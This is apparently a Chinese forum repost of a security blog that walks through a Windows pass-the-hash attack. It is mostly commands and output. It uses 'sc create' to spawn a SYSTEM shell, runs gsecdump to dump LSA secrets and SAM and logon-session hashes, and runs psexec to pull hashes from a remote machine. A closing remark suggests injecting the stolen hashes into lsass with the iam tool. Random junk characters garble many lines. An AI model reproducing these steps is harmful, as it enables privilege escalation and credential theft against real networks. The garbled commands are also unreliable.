HASH注入式攻击

admin

o get a DOS Prompt as NT system:

  w( D1 v/ @) t0 z2 D9 y8 bC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS

C:\>sc start shellcmdline
[SC] StartService FAILED 1053:
% ]4 \9 v3 L1 i5 T9 n1 G8 m
1 I. X% h, n, |) P; _( |9 F! @The service did not respond to the start or control request in a timely fashion.
( x( d& T0 L7 j6 c3 j& W) s
& O# J) W' K0 v- f7 P( LC:\>sc delete shellcmdline
[SC] DeleteService SUCCESS
" N" W4 C6 d, R1 o2 y
1 y9 S( B$ W# C, L------------

Then in the new DOS window:
/ \. m# I5 L( _" K. I
Microsoft Windows XP [Version 5.1.2600]
, g( P' I' p3 ~4 D. ]2 n(C) Copyright 1985-2001 Microsoft Corp.
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C:\WINDOWS\system32>whoami
$ Q, J5 J. M' RNT AUTHORITY\SYSTEM
6 }; u1 S2 o8 G) K' {4 C: \+ Y
( s' ~" X! ~% f: RC:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]
$ `8 x6 ]; |. u( R; N; m
) T+ V: Z& e$ r5 {options:
! G0 C5 F$ q. W, i; d6 E2 j) E* x-h [ --help ] show help
( @/ @3 I& z( ^; Y8 [# l$ y-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
' ]+ @) C2 j. b" u0 R-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
& M$ X; T4 G' b- o-s [ --dump_hashes ] dump hashes from SAM/AD

" {( K! n4 l+ S+ k* K( H$ vAlthough I like to use:
4 {0 `( T% _0 q/ x- e
PsExec v1.83 - Execute processes remotely
2 X. R3 b. c2 S) E% z/ lCopyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]
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C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

to get the hashes from active logon sessions of a remote system.

* R; ~, v6 w( Y$ |5 \These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
; g0 ?$ I" \. l& v原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。